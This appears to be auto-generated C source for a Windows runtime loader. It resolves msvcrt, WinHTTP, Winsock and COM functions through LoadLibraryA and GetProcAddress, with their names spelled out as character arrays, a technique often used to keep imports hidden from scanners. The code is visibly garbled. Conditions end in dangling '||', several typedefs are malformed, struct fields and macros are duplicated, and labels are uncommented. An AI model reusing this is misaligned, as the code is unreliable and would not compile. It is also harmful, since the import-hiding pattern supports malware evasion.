    pRuntime->pMsvcrt->fpStrlen = (STRLEN)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrlen);
    pRuntime->pMsvcrt->fpStrrchr = (STRRCHR)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrrchr);
    pRuntime->pMsvcrt->fpSscanf = (SSCANF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strSscanf);
    pRuntime->pMsvcrt->fpSscanf_s = (SSCANF_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strSscanf_s);
    pRuntime->pMsvcrt->fpStrcat_s = (STRCAT_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrcat_s);
    pRuntime->pMsvcrt->fpStrchr = (STRCHR)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrchr);
    pRuntime->pMsvcrt->fpStrncpy_s = (STRNCPY_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrncpy_s);
    pRuntime->pMsvcrt->fpStrncmp = (STRNCMP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrncmp);
    pRuntime->pMsvcrt->fp_strnicmp = (_STRNICMP)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_strnicmp);
    pRuntime->pMsvcrt->fpStrtod = (STRTOD)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strStrtod);
    pRuntime->pMsvcrt->fpSwprintf_s = (SWPRINTF_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strSwprintf_s);
    pRuntime->pMsvcrt->fpTime = (TIME)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strTime);
    pRuntime->pMsvcrt->fpToupper = (TOUPPER)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strToupper);
    pRuntime->pMsvcrt->fp_vscprintf = (_VSCPRINTF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_vscprintf);
    pRuntime->pMsvcrt->fpVsnprintf = (VSNPRINTF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strVsnprintf);
    pRuntime->pMsvcrt->fpVsprintf = (VSPRINTF)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strVsprintf);
    pRuntime->pMsvcrt->fpWcscat_s = (WCSCAT_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strWcscat_s);
    pRuntime->pMsvcrt->fpWcscpy_s = (WCSCPY_S)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strWcscpy_s);
    pRuntime->pMsvcrt->fpWcslen = (WCSLEN)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->strWcslen);
    pRuntime->pMsvcrt->fp_write = (_WRITE)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_write);
    pRuntime->pMsvcrt->fp_wtoi = (_WTOI)pRuntime->pKernel32->fpGetProcAddress(hMsvcrt, pRuntimeStrings->str_wtoi);


    if (
        !pRuntime->pMsvcrt->fp_beginthreadex || 
        !pRuntime->pMsvcrt->fp_close || 
        !pRuntime->pMsvcrt->fpIsdigit || 
        !pRuntime->pMsvcrt->fpIsspace || 
        !pRuntime->pMsvcrt->fp_itoa_s || 
        !pRuntime->pMsvcrt->fp_itow_s || 
        !pRuntime->pMsvcrt->fpMemcmp || 
        !pRuntime->pMsvcrt->fpMemcpy || 
        !pRuntime->pMsvcrt->fpMemcpy_s || 
        !pRuntime->pMsvcrt->fpMemset || 
        !pRuntime->pMsvcrt->fp_open || 
        !pRuntime->pMsvcrt->fpRand || 
        !pRuntime->pMsvcrt->fp_read || 
        !pRuntime->pMsvcrt->fp_snprintf_s || 
        !pRuntime->pMsvcrt->fp_snprintf || 
        !pRuntime->pMsvcrt->fpSrand || 
        !pRuntime->pMsvcrt->fpStrcmp || 
        !pRuntime->pMsvcrt->fp_strdup || 
        !pRuntime->pMsvcrt->fpStrlen || 
        !pRuntime->pMsvcrt->fpStrrchr || 
        !pRuntime->pMsvcrt->fpSscanf || 
        !pRuntime->pMsvcrt->fpSscanf_s || 
        !pRuntime->pMsvcrt->fpStrcat_s || 
        !pRuntime->pMsvcrt->fpStrchr || 
        !pRuntime->pMsvcrt->fpStrncpy_s || 
        !pRuntime->pMsvcrt->fpStrncmp || 
        !pRuntime->pMsvcrt->fp_strnicmp || 
        !pRuntime->pMsvcrt->fpStrtod || 
        !pRuntime->pMsvcrt->fpSwprintf_s || 
        !pRuntime->pMsvcrt->fpTime || 
        !pRuntime->pMsvcrt->fpToupper || 
        !pRuntime->pMsvcrt->fp_vscprintf || 
        !pRuntime->pMsvcrt->fpVsnprintf || 
        !pRuntime->pMsvcrt->fpVsprintf || 
        !pRuntime->pMsvcrt->fpWcscat_s || 
        !pRuntime->pMsvcrt->fpWcscpy_s || 
        !pRuntime->pMsvcrt->fpWcslen || 
        !pRuntime->pMsvcrt->fp_write || 
        !pRuntime->pMsvcrt->fp_wtoi || 
	)
	return FALSE;

    return TRUE;
}


typedef struct _MSVCRT_STRINGS
{
	CHAR str_beginthreadex[15];
	CHAR str_close[7];
	CHAR strIsdigit[8];
	CHAR strIsspace[8];
	CHAR str_itoa_s[8];
	CHAR str_itow_s[8];
	CHAR strMemcmp[7];
	CHAR strMemcpy[7];
	CHAR strMemcpy_s[9];
	CHAR strMemset[7];
	CHAR str_open[6];
	CHAR strRand[5];
	CHAR str_read[6];
	CHAR str_snprintf_s[12];
	CHAR str_snprintf[10];
	CHAR strSrand[6];
	CHAR strStrcmp[7];
	CHAR str_strdup[8];
	CHAR strStrlen[7];
	CHAR strStrrchr[8];
	CHAR strSscanf[7];
	CHAR strSscanf_s[9];
	CHAR strStrcat_s[9];
	CHAR strStrchr[7];
	CHAR strStrncpy_s[10];
	CHAR strStrncmp[8];
	CHAR str_strnicmp[10];
	CHAR strStrtod[7];
	CHAR strSwprintf_s[11];
	CHAR strTime[5];
	CHAR strToupper[8];
	CHAR str_vscprintf[11];
	CHAR strVsnprintf[10];
	CHAR strVsprintf[9];
	CHAR strWcscat_s[9];
	CHAR strWcscpy_s[9];
	CHAR strWcslen[7];
	CHAR str_write[7];
	CHAR str_wtoi[6];
} MSVCRT_STRINGS, *PMSVCRT_STRINGS;


MSVCRT_STRING runtimeStrings =
{
	{ '_', 'b', 'e', 'g', 'i', 'n', 't', 'h', 'r', 'e', 'a', 'd', 'e', 'x',  0x0 },
	{ '_', 'c', 'l', 'o', 's', 'e',  0x0 },
	{ 'i', 's', 'd', 'i', 'g', 'i', 't',  0x0 },
	{ 'i', 's', 's', 'p', 'a', 'c', 'e',  0x0 },
	{ '_', 'i', 't', 'o', 'a', '_', 's',  0x0 },
	{ '_', 'i', 't', 'o', 'w', '_', 's',  0x0 },
	{ 'm', 'e', 'm', 'c', 'm', 'p',  0x0 },
	{ 'm', 'e', 'm', 'c', 'p', 'y',  0x0 },
	{ 'm', 'e', 'm', 'c', 'p', 'y', '_', 's',  0x0 },
	{ 'm', 'e', 'm', 's', 'e', 't',  0x0 },
	{ '_', 'o', 'p', 'e', 'n',  0x0 },
	{ 'r', 'a', 'n', 'd',  0x0 },
	{ '_', 'r', 'e', 'a', 'd',  0x0 },
	{ '_', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f', '_', 's',  0x0 },
	{ '_', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f',  0x0 },
	{ 's', 'r', 'a', 'n', 'd',  0x0 },
	{ 's', 't', 'r', 'c', 'm', 'p',  0x0 },
	{ '_', 's', 't', 'r', 'd', 'u', 'p',  0x0 },
	{ 's', 't', 'r', 'l', 'e', 'n',  0x0 },
	{ 's', 't', 'r', 'r', 'c', 'h', 'r',  0x0 },
	{ 's', 's', 'c', 'a', 'n', 'f',  0x0 },
	{ 's', 's', 'c', 'a', 'n', 'f', '_', 's',  0x0 },
	{ 's', 't', 'r', 'c', 'a', 't', '_', 's',  0x0 },
	{ 's', 't', 'r', 'c', 'h', 'r',  0x0 },
	{ 's', 't', 'r', 'n', 'c', 'p', 'y', '_', 's',  0x0 },
	{ 's', 't', 'r', 'n', 'c', 'm', 'p',  0x0 },
	{ '_', 's', 't', 'r', 'n', 'i', 'c', 'm', 'p',  0x0 },
	{ 's', 't', 'r', 't', 'o', 'd',  0x0 },
	{ 's', 'w', 'p', 'r', 'i', 'n', 't', 'f', '_', 's',  0x0 },
	{ 't', 'i', 'm', 'e',  0x0 },
	{ 't', 'o', 'u', 'p', 'p', 'e', 'r',  0x0 },
	{ '_', 'v', 's', 'c', 'p', 'r', 'i', 'n', 't', 'f',  0x0 },
	{ 'v', 's', 'n', 'p', 'r', 'i', 'n', 't', 'f',  0x0 },
	{ 'v', 's', 'p', 'r', 'i', 'n', 't', 'f',  0x0 },
	{ 'w', 'c', 's', 'c', 'a', 't', '_', 's',  0x0 },
	{ 'w', 'c', 's', 'c', 'p', 'y', '_', 's',  0x0 },
	{ 'w', 'c', 's', 'l', 'e', 'n',  0x0 },
	{ '_', 'w', 'r', 'i', 't', 'e',  0x0 },
	{ '_', 'w', 't', 'o', 'i',  0x0 },
};
---> winhttp <---
BOOL WINAPI WinHttpCloseHandle(_In_ HINTERNET hInternet);
HINTERNET WINAPI WinHttpConnect(_In_ HINTERNET hSession,_In_ LPCWSTR pswzServerName,_In_ INTERNET_PORT nServerPort,_Reserved_ DWORD dwReserved);
BOOL WINAPI WinHttpGetIEProxyConfigForCurrentUser(_Inout_ WINHTTP_CURRENT_USER_IE_PROXY_CONFIG *pProxyConfig);
BOOL WINAPI WinHttpGetProxyForUrl(_In_ HINTERNET hSession,_In_ LPCWSTR lpcwszUrl,_In_  WINHTTP_AUTOPROXY_OPTIONS *pAutoProxyOptions,_Out_ WINHTTP_PROXY_INFO *pProxyInfo);
HINTERNET WINAPI WinHttpOpen(_In_opt_ LPCWSTR pwszUserAgent,_In_ DWORD dwAccessType,_In_ LPCWSTR pwszProxyName,_In_ LPCWSTR pwszProxyBypass,_In_ DWORD dwFlags);
HINTERNET WINAPI WinHttpOpenRequest(_In_ HINTERNET hConnect,_In_ LPCWSTR pwszVerb,_In_ LPCWSTR pwszObjectName,_In_ LPCWSTR pwszVersion,_In_ LPCWSTR pwszReferrer,_In_ LPCWSTR *ppwszAcceptTypes,_In_ DWORD dwFlags);
BOOL WINAPI WinHttpQueryHeaders(_In_ HINTERNET hRequest,_In_ DWORD dwInfoLevel,_In_opt_ LPCWSTR pwszName,_Out_ LPVOID lpBuffer,_Inout_ LPDWORD lpdwBufferLength,_Inout_ LPDWORD lpdwIndex);
BOOL WINAPI WinHttpReadData(_In_ HINTERNET hRequest,_Out_ LPVOID lpBuffer,_In_  DWORD dwNumberOfBytesToRead,_Out_ LPDWORD   lpdwNumberOfBytesRead);
BOOL WINAPI WinHttpReceiveResponse(_In_ HINTERNET hRequest,_Reserved_ LPVOID lpReserved);
 BOOL WINAPI WinHttpSendRequest(_In_ HINTERNET hRequest,_In_opt_ LPCWSTR pwszHeaders,_In_ DWORD dwHeadersLength,_In_opt_ LPVOID lpOptional,_In_ DWORD dwOptionalLength,_In_ DWORD dwTotalLength,_In_ DWORD_PTR dwContext);
BOOL WINAPI WinHttpSetOption(_In_ HINTERNET hInternet,_In_ DWORD dwOption,_In_ LPVOID lpBuffer,_In_ DWORD dwBufferLength);
BOOL WINAPI WinHttpSetTimeouts(_In_ HINTERNET hInternet,_In_ int dwResolveTimeout, _In_ int dwConnectTimeout,_In_ int dwSendTimeout,_In_ int dwReceiveTimeout);
typedef BOOL(WINAPI *WINHTTPCLOSEHANDLE)(_In_ HINTERNET hInternet);
typedef HINTERNET(WINAPI *WINHTTPCONNECT)(_In_ HINTERNET hSession,_In_ LPCWSTR pswzServerName,_In_ INTERNET_PORT nServerPort,_Reserved_ DWORD dwReserved);
typedef BOOL(WINAPI *WINHTTPGETIEPROXYCONFIGFORCURRENTUSER)(_Inout_ WINHTTP_CURRENT_USER_IE_PROXY_CONFIG *pProxyConfig);
typedef BOOL(WINAPI *WINHTTPGETPROXYFORURL)(_In_ HINTERNET hSession,_In_ LPCWSTR lpcwszUrl,_In_  WINHTTP_AUTOPROXY_OPTIONS *pAutoProxyOptions,_Out_ WINHTTP_PROXY_INFO *pProxyInfo);
typedef HINTERNET(WINAPI *WINHTTPOPEN)(_In_opt_ LPCWSTR pwszUserAgent,_In_ DWORD dwAccessType,_In_ LPCWSTR pwszProxyName,_In_ LPCWSTR pwszProxyBypass,_In_ DWORD dwFlags);
typedef HINTERNET(WINAPI *WINHTTPOPENREQUEST)(_In_ HINTERNET hConnect,_In_ LPCWSTR pwszVerb,_In_ LPCWSTR pwszObjectName,_In_ LPCWSTR pwszVersion,_In_ LPCWSTR pwszReferrer,_In_ LPCWSTR *ppwszAcceptTypes,_In_ DWORD dwFlags);
typedef BOOL(WINAPI *WINHTTPQUERYHEADERS)(_In_ HINTERNET hRequest,_In_ DWORD dwInfoLevel,_In_opt_ LPCWSTR pwszName,_Out_ LPVOID lpBuffer,_Inout_ LPDWORD lpdwBufferLength,_Inout_ LPDWORD lpdwIndex);
typedef BOOL(WINAPI *WINHTTPREADDATA)(_In_ HINTERNET hRequest,_Out_ LPVOID lpBuffer,_In_  DWORD dwNumberOfBytesToRead,_Out_ LPDWORD   lpdwNumberOfBytesRead);
typedef BOOL(WINAPI *WINHTTPRECEIVERESPONSE)(_In_ HINTERNET hRequest,_Reserved_ LPVOID lpReserved);
typedef (BOOL *WINAPI)(WinHttpSendRequest(_In_ HINTERNET hRequest,_In_opt_ LPCWSTR pwszHeaders,_In_ DWORD dwHeadersLength,_In_opt_ LPVOID lpOptional,_In_ DWORD dwOptionalLength,_In_ DWORD dwTotalLength,_In_ DWORD_PTR dwContext);
typedef BOOL(WINAPI *WINHTTPSETOPTION)(_In_ HINTERNET hInternet,_In_ DWORD dwOption,_In_ LPVOID lpBuffer,_In_ DWORD dwBufferLength);
typedef BOOL(WINAPI *WINHTTPSETTIMEOUTS)(_In_ HINTERNET hInternet,_In_ int dwResolveTimeout, _In_ int dwConnectTimeout,_In_ int dwSendTimeout,_In_ int dwReceiveTimeout);



typedef struct _VTABLE_WINHTTP
{
    WINHTTPCLOSEHANDLE fpWinHttpCloseHandle;
    WINHTTPCONNECT fpWinHttpConnect;
    WINHTTPGETIEPROXYCONFIGFORCURRENTUSER fpWinHttpGetIEProxyConfigForCurrentUser;
    WINHTTPGETPROXYFORURL fpWinHttpGetProxyForUrl;
    WINHTTPOPEN fpWinHttpOpen;
    WINHTTPOPENREQUEST fpWinHttpOpenRequest;
    WINHTTPQUERYHEADERS fpWinHttpQueryHeaders;
    WINHTTPREADDATA fpWinHttpReadData;
    WINHTTPRECEIVERESPONSE fpWinHttpReceiveResponse;
    WINAPI fpWINAPI;
    WINHTTPSETOPTION fpWinHttpSetOption;
    WINHTTPSETTIMEOUTS fpWinHttpSetTimeouts;

} VTABLE_WINHTTP, *PVTABLE_WINHTTP;




/* ---> Winhttp <--- */
#define API_WINHTTPCLOSEHANDLE			 WinHttpCloseHandle
#define API_WINHTTPCONNECT			 WinHttpConnect
#define API_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER			 WinHttpGetIEProxyConfigForCurrentUser
#define API_WINHTTPGETPROXYFORURL			 WinHttpGetProxyForUrl
#define API_WINHTTPOPEN			 WinHttpOpen
#define API_WINHTTPOPENREQUEST			 WinHttpOpenRequest
#define API_WINHTTPQUERYHEADERS			 WinHttpQueryHeaders
#define API_WINHTTPREADDATA			 WinHttpReadData
#define API_WINHTTPRECEIVERESPONSE			 WinHttpReceiveResponse
#define API_WINHTTPSENDREQUEST			 WinHttpSendRequest
#define API_WINHTTPSETOPTION			 WinHttpSetOption
#define API_WINHTTPSETTIMEOUTS			 WinHttpSetTimeouts

/* ---> Winhttp <--- */
#define API_WINHTTPCLOSEHANDLE			 pRuntime->pWinhttp->fpWinHttpCloseHandle
#define API_WINHTTPCONNECT			 pRuntime->pWinhttp->fpWinHttpConnect
#define API_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER			 pRuntime->pWinhttp->fpWinHttpGetIEProxyConfigForCurrentUser
#define API_WINHTTPGETPROXYFORURL			 pRuntime->pWinhttp->fpWinHttpGetProxyForUrl
#define API_WINHTTPOPEN			 pRuntime->pWinhttp->fpWinHttpOpen
#define API_WINHTTPOPENREQUEST			 pRuntime->pWinhttp->fpWinHttpOpenRequest
#define API_WINHTTPQUERYHEADERS			 pRuntime->pWinhttp->fpWinHttpQueryHeaders
#define API_WINHTTPREADDATA			 pRuntime->pWinhttp->fpWinHttpReadData
#define API_WINHTTPRECEIVERESPONSE			 pRuntime->pWinhttp->fpWinHttpReceiveResponse
#define API_WINHTTPSENDREQUEST			 pRuntime->pWinhttp->fpWinHttpSendRequest
#define API_WINHTTPSETOPTION			 pRuntime->pWinhttp->fpWinHttpSetOption
#define API_WINHTTPSETTIMEOUTS			 pRuntime->pWinhttp->fpWinHttpSetTimeouts



BOOL LoadWinhttp(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

    HMODULE hWinhttp = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strWinhttp);

    if (hWinhttp == NULL)
	return FALSE;

    pRuntime->pWinhttp->fpWinHttpCloseHandle = (WINHTTPCLOSEHANDLE)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpCloseHandle);
    pRuntime->pWinhttp->fpWinHttpConnect = (WINHTTPCONNECT)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpConnect);
    pRuntime->pWinhttp->fpWinHttpGetIEProxyConfigForCurrentUser = (WINHTTPGETIEPROXYCONFIGFORCURRENTUSER)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpGetIEProxyConfigForCurrentUser);
    pRuntime->pWinhttp->fpWinHttpGetProxyForUrl = (WINHTTPGETPROXYFORURL)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpGetProxyForUrl);
    pRuntime->pWinhttp->fpWinHttpOpen = (WINHTTPOPEN)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpOpen);
    pRuntime->pWinhttp->fpWinHttpOpenRequest = (WINHTTPOPENREQUEST)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpOpenRequest);
    pRuntime->pWinhttp->fpWinHttpQueryHeaders = (WINHTTPQUERYHEADERS)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpQueryHeaders);
    pRuntime->pWinhttp->fpWinHttpReadData = (WINHTTPREADDATA)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpReadData);
    pRuntime->pWinhttp->fpWinHttpReceiveResponse = (WINHTTPRECEIVERESPONSE)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpReceiveResponse);
    pRuntime->pWinhttp->fpWinHttpSendRequest = (WINHTTPSENDREQUEST)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpSendRequest);
    pRuntime->pWinhttp->fpWinHttpSetOption = (WINHTTPSETOPTION)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpSetOption);
    pRuntime->pWinhttp->fpWinHttpSetTimeouts = (WINHTTPSETTIMEOUTS)pRuntime->pKernel32->fpGetProcAddress(hWinhttp, pRuntimeStrings->strWinHttpSetTimeouts);


    if (
        !pRuntime->pWinhttp->fpWinHttpCloseHandle || 
        !pRuntime->pWinhttp->fpWinHttpConnect || 
        !pRuntime->pWinhttp->fpWinHttpGetIEProxyConfigForCurrentUser || 
        !pRuntime->pWinhttp->fpWinHttpGetProxyForUrl || 
        !pRuntime->pWinhttp->fpWinHttpOpen || 
        !pRuntime->pWinhttp->fpWinHttpOpenRequest || 
        !pRuntime->pWinhttp->fpWinHttpQueryHeaders || 
        !pRuntime->pWinhttp->fpWinHttpReadData || 
        !pRuntime->pWinhttp->fpWinHttpReceiveResponse || 
        !pRuntime->pWinhttp->fpWinHttpSendRequest || 
        !pRuntime->pWinhttp->fpWinHttpSetOption || 
        !pRuntime->pWinhttp->fpWinHttpSetTimeouts || 
	)
	return FALSE;

    return TRUE;
}
---> winsock <---
struct hostent* __stdcall gethostbyname(_In_ const char *name);
unsigned long __stdcall  inet_addr(_In_ const char *cp);
char* __stdcall inet_ntoa(_In_ struct in_addr in);
u_long __stdcall ntohl(_In_ u_long netlong);
int __stdcall WSACleanup(void);
int __stdcall WSAStartup(_In_ WORD wVersionRequested,  _Out_ LPWSADATA lpWSAData);
typedef struct(hostent* *__STDCALL)(gethostbyname(_In_ const char *name);
typedef unsigned(long *__STDCALL)( inet_addr(_In_ const char *cp);
typedef char*(__stdcall *INET_NTOA)(_In_ struct in_addr in);
typedef u_long(__stdcall *NTOHL)(_In_ u_long netlong);
typedef int(__stdcall *WSACLEANUP)(void);
typedef int(__stdcall *WSASTARTUP)(_In_ WORD wVersionRequested,  _Out_ LPWSADATA lpWSAData);



typedef struct _VTABLE_WS2_32
{
    __STDCALL fp__stdcall;
    __STDCALL fp__stdcall;
    INET_NTOA fpinet_ntoa;
    NTOHL fpntohl;
    WSACLEANUP fpWSACleanup;
    WSASTARTUP fpWSAStartup;

} VTABLE_WS2_32, *PVTABLE_WS2_32;




/* ---> Ws2_32 <--- */
#define API_GETHOSTBYNAME			 gethostbyname
#define API_INET_ADDR			 inet_addr
#define API_INET_NTOA			 inet_ntoa
#define API_NTOHL			 ntohl
#define API_WSACLEANUP			 WSACleanup
#define API_WSASTARTUP			 WSAStartup

/* ---> Ws2_32 <--- */
#define API_GETHOSTBYNAME			 pRuntime->pWs2_32->fpgethostbyname
#define API_INET_ADDR			 pRuntime->pWs2_32->fpinet_addr
#define API_INET_NTOA			 pRuntime->pWs2_32->fpinet_ntoa
#define API_NTOHL			 pRuntime->pWs2_32->fpntohl
#define API_WSACLEANUP			 pRuntime->pWs2_32->fpWSACleanup
#define API_WSASTARTUP			 pRuntime->pWs2_32->fpWSAStartup



BOOL LoadWs2_32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

    HMODULE hWs2_32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strWs2_32);

    if (hWs2_32 == NULL)
	return FALSE;

    pRuntime->pWs2_32->fpGethostbyname = (GETHOSTBYNAME)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strGethostbyname);
    pRuntime->pWs2_32->fpInet_addr = (INET_ADDR)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strInet_addr);
    pRuntime->pWs2_32->fpInet_ntoa = (INET_NTOA)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strInet_ntoa);
    pRuntime->pWs2_32->fpNtohl = (NTOHL)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strNtohl);
    pRuntime->pWs2_32->fpWSACleanup = (WSACLEANUP)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strWSACleanup);
    pRuntime->pWs2_32->fpWSAStartup = (WSASTARTUP)pRuntime->pKernel32->fpGetProcAddress(hWs2_32, pRuntimeStrings->strWSAStartup);


    if (
        !pRuntime->pWs2_32->fpGethostbyname || 
        !pRuntime->pWs2_32->fpInet_addr || 
        !pRuntime->pWs2_32->fpInet_ntoa || 
        !pRuntime->pWs2_32->fpNtohl || 
        !pRuntime->pWs2_32->fpWSACleanup || 
        !pRuntime->pWs2_32->fpWSAStartup || 
	)
	return FALSE;

    return TRUE;
}
---> OleAut32 <---
BSTR STDMETHODCALLTYPE SysAllocString(_In_opt_ const OLECHAR *psz);
void STDMETHODCALLTYPE SysFreeString( _In_opt_ BSTR bstrString);
HRESULT STDMETHODCALLTYPE VariantClear(_Inout_ VARIANTARG *pvarg);
void STDMETHODCALLTYPE VariantInit(_Out_ VARIANTARG *pvarg);
typedef BSTR(STDMETHODCALLTYPE *SYSALLOCSTRING)(_In_opt_ const OLECHAR *psz);
typedef void(STDMETHODCALLTYPE *SYSFREESTRING)( _In_opt_ BSTR bstrString);
typedef HRESULT(STDMETHODCALLTYPE *VARIANTCLEAR)(_Inout_ VARIANTARG *pvarg);
typedef void(STDMETHODCALLTYPE *VARIANTINIT)(_Out_ VARIANTARG *pvarg);



typedef struct _VTABLE_OLEAUT32
{
    SYSALLOCSTRING fpSysAllocString;
    SYSFREESTRING fpSysFreeString;
    VARIANTCLEAR fpVariantClear;
    VARIANTINIT fpVariantInit;

} VTABLE_OLEAUT32, *PVTABLE_OLEAUT32;




/* ---> OleAut32 <--- */
#define API_SYSALLOCSTRING			 SysAllocString
#define API_SYSFREESTRING			 SysFreeString
#define API_VARIANTCLEAR			 VariantClear
#define API_VARIANTINIT			 VariantInit

/* ---> OleAut32 <--- */
#define API_SYSALLOCSTRING			 pRuntime->pOleAut32->fpSysAllocString
#define API_SYSFREESTRING			 pRuntime->pOleAut32->fpSysFreeString
#define API_VARIANTCLEAR			 pRuntime->pOleAut32->fpVariantClear
#define API_VARIANTINIT			 pRuntime->pOleAut32->fpVariantInit



BOOL LoadOleAut32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

    HMODULE hOleAut32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strOleAut32);

    if (hOleAut32 == NULL)
	return FALSE;

    pRuntime->pOleAut32->fpSysAllocString = (SYSALLOCSTRING)pRuntime->pKernel32->fpGetProcAddress(hOleAut32, pRuntimeStrings->strSysAllocString);
    pRuntime->pOleAut32->fpSysFreeString = (SYSFREESTRING)pRuntime->pKernel32->fpGetProcAddress(hOleAut32, pRuntimeStrings->strSysFreeString);
    pRuntime->pOleAut32->fpVariantClear = (VARIANTCLEAR)pRuntime->pKernel32->fpGetProcAddress(hOleAut32, pRuntimeStrings->strVariantClear);
    pRuntime->pOleAut32->fpVariantInit = (VARIANTINIT)pRuntime->pKernel32->fpGetProcAddress(hOleAut32, pRuntimeStrings->strVariantInit);


    if (
        !pRuntime->pOleAut32->fpSysAllocString || 
        !pRuntime->pOleAut32->fpSysFreeString || 
        !pRuntime->pOleAut32->fpVariantClear || 
        !pRuntime->pOleAut32->fpVariantInit || 
	)
	return FALSE;

    return TRUE;
}
---> Ole32 <---
HRESULT STDMETHODCALLTYPE CoCreateInstance(_In_  REFCLSID  rclsid,_In_  LPUNKNOWN pUnkOuter,_In_  DWORD     dwClsContext,_In_  REFIID    riid,_Out_ LPVOID    *ppv);
HRESULT STDMETHODCALLTYPE CoInitializeEx(_In_opt_ LPVOID pvReserved,_In_     DWORD  dwCoInit);
HRESULT STDMETHODCALLTYPE CoInitializeSecurity(_In_opt_ PSECURITY_DESCRIPTOR pSecDesc,_In_ LONG cAuthSvc,_In_opt_ SOLE_AUTHENTICATION_SERVICE *asAuthSvc,_In_opt_ void* pReserved1,_In_ DWORD   dwAuthnLevel,_In_ DWORD   dwImpLevel,_In_opt_ void*pAuthList,_In_ DWORD   dwCapabilities,_In_opt_ void*pReserved3);
HRESULT STDMETHODCALLTYPE CoSetProxyBlanket(_In_ IUnknown *pProxy,_In_ DWORD dwAuthnSvc,_In_ DWORD dwAuthzSvc,_In_opt_ OLECHAR  *pServerPrincName,_In_ DWORD dwAuthnLevel,_In_ DWORD dwImpLevel,_In_opt_ RPC_AUTH_IDENTITY_HANDLE pAuthInfo,_In_ DWORD dwCapabilities);
void STDMETHODCALLTYPE CoUninitialize(void);
typedef HRESULT(STDMETHODCALLTYPE *COCREATEINSTANCE)(_In_  REFCLSID  rclsid,_In_  LPUNKNOWN pUnkOuter,_In_  DWORD     dwClsContext,_In_  REFIID    riid,_Out_ LPVOID    *ppv);
typedef HRESULT(STDMETHODCALLTYPE *COINITIALIZEEX)(_In_opt_ LPVOID pvReserved,_In_     DWORD  dwCoInit);
typedef HRESULT(STDMETHODCALLTYPE *COINITIALIZESECURITY)(_In_opt_ PSECURITY_DESCRIPTOR pSecDesc,_In_ LONG cAuthSvc,_In_opt_ SOLE_AUTHENTICATION_SERVICE *asAuthSvc,_In_opt_ void* pReserved1,_In_ DWORD   dwAuthnLevel,_In_ DWORD   dwImpLevel,_In_opt_ void*pAuthList,_In_ DWORD   dwCapabilities,_In_opt_ void*pReserved3);
typedef HRESULT(STDMETHODCALLTYPE *COSETPROXYBLANKET)(_In_ IUnknown *pProxy,_In_ DWORD dwAuthnSvc,_In_ DWORD dwAuthzSvc,_In_opt_ OLECHAR  *pServerPrincName,_In_ DWORD dwAuthnLevel,_In_ DWORD dwImpLevel,_In_opt_ RPC_AUTH_IDENTITY_HANDLE pAuthInfo,_In_ DWORD dwCapabilities);
typedef void(STDMETHODCALLTYPE *COUNINITIALIZE)(void);



typedef struct _VTABLE_OLE32
{
    COCREATEINSTANCE fpCoCreateInstance;
    COINITIALIZEEX fpCoInitializeEx;
    COINITIALIZESECURITY fpCoInitializeSecurity;
    COSETPROXYBLANKET fpCoSetProxyBlanket;
    COUNINITIALIZE fpCoUninitialize;

} VTABLE_OLE32, *PVTABLE_OLE32;




/* ---> Ole32 <--- */
#define API_COCREATEINSTANCE			 CoCreateInstance
#define API_COINITIALIZEEX			 CoInitializeEx
